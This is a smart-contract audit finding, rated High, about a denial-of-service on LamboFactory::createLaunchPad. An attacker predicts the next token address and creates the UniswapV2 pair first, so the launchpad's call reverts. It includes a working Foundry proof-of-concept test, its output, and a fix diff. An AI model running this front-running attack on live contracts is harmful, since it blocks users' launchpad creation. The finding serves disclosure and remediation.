Attacker can prevent creation of new launchpads by creating the pool on UniswapV2 Factory
High
Finding description and impact
LamboFactory::createLaunchPad
calls createPair
function on uniswapV2Factory
to create a pool for qouteToken
(created via Clone
library) and virtualLiquidityToken
.
pool = IPoolFactory(LaunchPadUtils.UNISWAP_POOL_FACTORY_).createPair(virtualLiquidityToken, quoteToken);
this is the implementation of createPair
:
function createPair(address tokenA, address tokenB) external returns (address pair) { require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); //@audit-High: ensure that this pool does not exist!!!! require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient //rest of the code... }
The issue here is that, since address of new quoteToken
is predictable (using nonce and address of LamboFactory
), an attacker can easily create a pool using qouteToken
address and virtualLiquidityToken
prior to LamboFactory::createLaunchPad
and prevent new pool from being created.
Proof of Concept
paste this code into GeneralTest.t.sol
and then run:
forge test --match-test test_ddos_create_pool
Code:
function test_ddos_create_pool() public { //attacker address address attacker = makeAddr("Attacker"); //calculate quote token uint nonce = vm.getNonce(address(factory)); address qoute_predicted = vm.computeCreateAddress( address(factory), nonce ); vm.startPrank(attacker); //create the pair here IPoolFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair( qoute_predicted, address(vETH) ); vm.stopPrank(); //victim pool address victim = makeAddr("Victim"); vm.startPrank(victim); //Can't do this, because pool is already created (address quoteToken2, address pool2) = factory.createLaunchPad( "LamboToken", "LAMBO", 200 ether, address(vETH) ); vm.stopPrank(); }
Result:
Ran 1 test for test/GeneralTest.t.sol:GeneralTest [FAIL: revert: UniswapV2: PAIR_EXISTS] test_ddos_create_pool() (gas: 2651936) Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.42s (1.04s CPU time) Ran 1 test suite in 3.42s (3.42s CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests) Failing tests: Encountered 1 failing test in test/GeneralTest.t.sol:GeneralTest [FAIL: revert: UniswapV2: PAIR_EXISTS] test_ddos_create_pool() (gas: 2651936) Encountered a total of 1 failing tests, 0 tests succeeded
Recommended mitigation steps
Get pool address if its already created:
function createLaunchPad( string memory name, string memory tickname, uint256 virtualLiquidityAmount, address virtualLiquidityToken ) public onlyWhiteListed(virtualLiquidityToken) nonReentrant returns (address quoteToken, address pool) { //create the token here for the qoute token quoteToken = _deployLamboToken(name, tickname); - //create the pool for this coins - pool = IPoolFactory(LaunchPadUtils.UNISWAP_POOL_FACTORY_).createPair(virtualLiquidityToken, quoteToken); + pool = IPoolFactory(LaunchPadUtils.UNISWAP_POOL_FACTORY_).getPair(virtualLiquidityToken, quoteToken); + if(pool == address(0)) { + pool = IPoolFactory(LaunchPadUtils.UNISWAP_POOL_FACTORY_).createPair(virtualLiquidityToken, quoteToken); + } VirtualToken(virtualLiquidityToken).takeLoan(pool, virtualLiquidityAmount); IERC20(quoteToken).safeTransfer(pool, LaunchPadUtils.TOTAL_AMOUNT_OF_QUOTE_TOKEN); // Directly minting to address(0) will cause Dexscreener to not display LP being burned // So, we have to mint to address(this), then send it to address(0). IPool(pool).mint(address(this)); IERC20(pool).safeTransfer(address(0), IERC20(pool).balanceOf(address(this))); emit PoolCreated(virtualLiquidityToken, quoteToken, pool, virtualLiquidityAmount); }